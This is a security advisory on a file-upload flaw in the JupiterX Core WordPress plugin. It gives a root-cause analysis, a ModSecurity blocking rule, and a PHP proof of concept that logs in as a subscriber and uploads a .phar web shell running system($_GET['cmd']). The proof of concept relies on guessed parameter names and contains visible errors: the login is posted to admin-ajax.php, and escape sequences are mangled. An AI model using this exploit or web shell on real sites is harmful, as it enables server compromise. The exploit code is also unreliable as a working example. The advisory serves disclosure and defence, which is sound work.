Atomic Edge analysis of CVE-2026-3533 (metadata-based):
The Jupiter X Core plugin for WordPress, versions up to and including 4.14.1, contains a critical vulnerability that allows authenticated users with Subscriber-level access or higher to upload dangerous file types. This flaw resides in the `import_popup_templates()` function, which lacks proper authorization, and the `upload_files()` function, which performs insufficient file type validation.
Atomic Edge research identifies the root cause as a combination of two security failures. The first is a missing capability check on the `import_popup_templates()` function, allowing users with minimal privileges to invoke a file upload handler. The second is a failure to properly validate file extensions and MIME types within the `upload_files()` function. These conclusions are inferred from the CWE-434 classification and the vulnerability description, as the source code is not available for direct review.
An attacker exploits this vulnerability by sending an authenticated POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must specify an action parameter that triggers the vulnerable `import_popup_templates()` function. A likely action value is `jupiterx_core_import_popup_templates` or a similar pattern derived from the plugin slug. The request includes a file upload parameter containing a malicious payload with a dangerous extension like `.phar`, `.svg`, `.dfxp`, or `.xhtml`. The server processes this upload without verifying the user’s right to do so or the safety of the file type.
Remediation requires two distinct code changes. Developers must implement a proper capability check, such as `current_user_can(‘edit_posts’)` or a higher privilege, within the `import_popup_templates()` function to ensure only authorized users can access it. The `upload_files()` function must be patched to implement a strict allowlist of permitted file extensions and to perform server-side MIME type verification, rejecting any file not explicitly allowed.
Successful exploitation leads to severe consequences. Attackers can achieve remote code execution on servers configured to execute `.phar` files as PHP code. Uploading `.svg`, `.dfxp`, or `.xhtml` files results in stored cross-site scripting attacks, as these file types can contain malicious scripts executed in a victim’s browser. This vulnerability grants low-privilege attackers a direct path to compromise the server or hijack user sessions.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3533 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:63533,phase:2,deny,status:403,chain,msg:'CVE-2026-3533 via JupiterX Core AJAX file upload',severity:'CRITICAL',tag:'CVE-2026-3533',tag:'WordPress',tag:'plugin=jupiterx-core'"
SecRule ARGS_POST:action "@streq jupiterx_core_import_popup_templates" "chain"
SecRule FILES "@rx .(phar|svg|dfxp|xhtml)$" "t:lowercase,t:urlDecodeUni"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3533 - JupiterX Core <= 4.14.1 - Authenticated (Subscriber+) Missing Authorization To Limited File Upload via Popup Template Import
<?php
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Step 1: Authenticate to WordPress to obtain cookies and a nonce.
// This PoC assumes the vulnerable endpoint does not require a nonce (missing authorization).
// If a nonce were required, it would typically be fetched from a page like the dashboard.
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Construct the malicious file upload request.
// The exact action parameter is inferred from the plugin slug and function name.
$action = 'jupiterx_core_import_popup_templates';
// Create a temporary .phar file for RCE demonstration.
$phar_payload = "<?php echo 'Atomic Edge RCE Test'; system($_GET['cmd']); ?>n";
$temp_file = tempnam(sys_get_temp_dir(), 'exp');
$phar_file = $temp_file . '.phar';
rename($temp_file, $phar_file);
file_put_contents($phar_file, $phar_payload);
// Prepare the multipart form data for file upload.
$post_fields = array(
'action' => $action,
// The file parameter name is assumed; common names include 'file', 'import_file', or 'template_file'.
'file' => new CURLFile($phar_file, 'application/octet-stream', 'exploit.phar')
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$upload_response = curl_exec($ch);
// Step 3: Check the response and attempt to access the uploaded file.
// The upload path is unknown; a successful upload might return a JSON response with a URL.
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "Upload request completed.n";
echo "Response: " . substr($upload_response, 0, 500) . "n";
// An attacker would parse the response to find the uploaded file's location.
// For this PoC, we assume a default WordPress uploads directory pattern.
// This step is highly speculative without the actual plugin response format.
echo "If successful, the .phar file may be accessible at a path like /wp-content/uploads/{date}/exploit.pharn";
} else {
echo "Upload request failed with HTTP code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}
curl_close($ch);
unlink($phar_file);
?>
